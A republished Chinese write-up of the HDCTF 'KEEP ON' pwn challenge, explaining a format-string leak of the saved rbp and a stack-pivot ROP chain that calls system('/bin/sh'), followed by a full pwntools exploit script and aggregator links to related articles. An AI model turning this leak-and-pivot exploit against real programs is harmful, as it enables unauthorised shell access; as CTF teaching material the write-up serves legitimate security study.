HDCTF KEEP ON

这篇具有很好参考价值的文章主要介绍了HDCTF KEEP ON。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

KEEP ON

Checksec & IDA

HDCTF KEEP ON

__int64 vuln()
{
  char s[80]; // [rsp+0h] [rbp-50h] BYREF

  memset(s, 0, sizeof(s));
  puts("please show me your name: ");
  read(0, s, 0x48uLL);
  printf("hello,");
  printf(s);
  puts("keep on !");
  read(0, s, 0x60uLL);
  return 0LL;
}

漏洞分析

格式化字符串漏洞与栈溢出漏洞。溢出后只能覆盖返回地址,因此存在两种解法:
格式化字符串 与 栈迁移

先计算出我们的RBP偏移。
HDCTF KEEP ON
使用%16$p即可获取rbp。

io.recvuntil(b'name: \n')

fmtpayload = b'%16$p'
io.send(fmtpayload)
io.recvuntil(b'hello,0x')

old_rbp = int(io.recv(12),16)

HDCTF KEEP ON
rbp与s的距离为0x60,再减去0x08的返回地址,就得到了我们的目标迁移地址。
也就是:
Target_Addr = old_rbp - 0x60 - 0x08
这样我们就得到了我们的目标地址,可以开始构建我们的Payload了。
我们只有0x60的大小构建Payload。
我们首先需要一个pop rdi, ret来将/bin/sh的地址pop进栈中作为system函数的参数。
HDCTF KEEP ON
然后就是我们的/bin/sh地址。由于我们最终的构想是getshell,因此我们需要这样构造Payload:

Payload = p64(rdi)
Payload += p64(Target_Addr + 0x8 + 0x18)
Payload += p64(system)
Payload += b'/bin/sh\x00'

我们首先将binsh的地址送入rdi寄存器中,然后再继续接下来的操作。

Payload = Payload.ljust(0x50, b'\x00')
Payload += p64(Target_Addr)
Payload += p64(leave_ret)

我们将Payload填充到0x50大小,因为0x50是s的大小。剩下的0x10则是我们的RBP与Leave, Return指令。
/bin/sh的地址为什么是Target_Addr + 0x8 + 0x18是因为Target_Addr指向rdi,0x08 + 0x18 也就是0x20代表第四个数据,也就是b'/bin/sh\x00'文章来源地址https://www.toymoban.com/news/detail-426261.html

完整EXP

from PwnModules import *

io = process('./hdctf')
#io = remote('node4.anna.nssctf.cn', 28031)
elf = ELF('./hdctf')
context(arch='amd64', os='linux', log_level='debug')

io.recvuntil(b'name: \n')

fmtpayload = b'%16$p'
io.send(fmtpayload)
io.recvuntil(b'hello,0x')

old_rbp = int(io.recv(12), 16)

log.success('RBP Addr: ' + (hex(old_rbp)))

leave_ret = 0x4007F2
rdi = 0x4008D3
system = elf.plt['system']

Target_Addr = old_rbp - 0x60 - 0x08

# RDI will pop binsh addr as system's arg
# Offset : 0x08
Payload = p64(rdi)
# Offset : 0x08 + 0x08
Payload += p64(Target_Addr + 0x8 + 0x18)
# Offset : 0x08 + 0x10
Payload += p64(system)
# Offset : 0x08 + 0x18
Payload += b'/bin/sh\x00'
# Fill the Payload to 0x50.
Payload = Payload.ljust(0x50, b'\x00')
# The Leave Ret cmd's ret addr.
Payload += p64(Target_Addr)
# The Leave Ret
Payload += p64(leave_ret)

io.recvuntil(b'keep on !\n')
io.send(Payload)

io.interactive()

到了这里,关于HDCTF KEEP ON的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • go语言int64整型转字符串

    go语言中string(int)会把int当成UTF-8的Unicode值,转换成对应的字符,标准库strconv是专门用来实现基本数据类型和其字符串表示的相互转换。 http://doc.golang.ltd/pkg/strconv.htm

    2024年02月12日
    浏览(36)
  • 【m98】视频缓存PacketBuffer 1 : SeqNumUnwrapper int64映射、ForwardDiff

    视频缓存PacketBuffer 对rtp包进行接收处理。 rtp序号 相关 【mediasoup】RtpStreamRecv 对rtp 序号的验证 与这里的处理有不同。

    2024年02月07日
    浏览(28)
  • 【CicadaPlayer】seek :SeekInCache(int64_t pos)的实现

    seek的pos就是pts值。 缓冲是list,那么插入的包是按照到达的顺序插入到list的,也就是无排序的。 包的pts 正常应该单调连续, 即使不单调连续,缓存也不在意。 seek的操作主要是先比较pos与mCurrentPos , pos 比 mCurrentPos 小,那么向后,向后就是从cache里查找pts 向前也是在cache里

    2024年02月11日
    浏览(30)
  • 亲测解决Pytorch TypeError: object of type ‘numpy.int64‘ has no len()

    这个问题是小虎在初始化自适应平均池化的时候遇到的,解决方法是限制初始化时池化大小的类型。 报错语句如下: 查看类型发现是numpy: 所以可以改成:

    2024年02月06日
    浏览(38)
  • go: Unmarshal error: json: cannot unmarshal string into Go struct field .timestamp of type int64

    在我们作为Go开发工程师的工作中,错误和异常处理无疑是非常重要的一环。今天,我们来讲解一个在Go中进行JSON解析时可能会遇到的具体错误,即: ERR: Unmarshal error: json: cannot unmarshal string into Go struct field .timestamp of type int64 。 在进行服务端或客户端开发时,经常需要通过

    2024年02月03日
    浏览(27)
  • RuntimeError: result type Float can‘t be cast to the desired output type __int64报错解决方法

      小白刚开始学习YOLOv5,跟随老哥的步骤走了一遍目标检测--手把手教你搭建自己的YOLOv5目标检测平台   最后训练最后一步出现RuntimeError: result type Float can‘t be cast to the desired output type __int64报错 解决方法:找到5.0版报错的loss.py中最后那段for函数,将其整体替换为yolov5-maste

    2024年02月11日
    浏览(50)
  • [HDCTF2019]MFC

    前言 mfc逆向,有一个VM壳一看到它就头疼,好在这道题用不到,可以直接通过xspy获取mfc自定义消息 分析 工具下载: https://bbs.kanxue.com/thread-170033.htm 开始时完全没有头绪,有虚拟壳,用ida打开也看不到什么东西,看了师傅们的wp后找了半天工具。。算法逻辑很简单,但不容易

    2024年02月12日
    浏览(21)
  • 【HDCTF2023】wp

    web Welcome To HDCTF 2023 在源码的 game.js 中找到了flag 在控制台输出 console.log(seeeeeeeecret) 得flag SearchMaster 使用dirmap扫描目录,发现: composer.json ,访问一下: 发现是 php smarty模板注入 提示我们需要使用post方式上传一个名为 data的变量: 测试一下确实有回显: 直接读flag: YamiYami

    2024年02月01日
    浏览(53)
  • HDCTF2023 Writeup

    pwn 做完了,别的方向的也有打一点。 伪随机数,种子也给出来了。先写个生成对应随机数的 c 程序。 基础栈溢出 + 给了后门函数 exp 如下: 给了个 shell,不过是假的。 利用格式化字符串漏洞劫持 printf_got 为 system_plt(经过调试得到 printf 的偏移是6 ) 下面存在 0x10 字节的溢

    2024年02月06日
    浏览(65)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包